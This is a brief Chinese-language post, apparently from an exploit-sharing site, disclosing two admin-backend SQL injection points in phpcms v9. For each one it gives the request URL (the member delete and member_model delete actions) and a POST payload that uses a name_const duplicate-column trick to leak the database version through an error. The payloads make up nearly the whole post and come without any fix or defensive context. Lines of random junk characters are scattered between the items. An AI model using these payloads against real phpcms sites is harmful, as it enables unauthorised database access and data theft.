phpcms两处后台的SQL注入

admin

(一)：
# v  L: T; B) c2 p

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

6 E( s6 A1 O  P! X" G  X' |: C
( P1 A3 u& t, Z, o: H+ {+ ]" q& S4 ?
/ M, `8 s4 W: p1 g

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)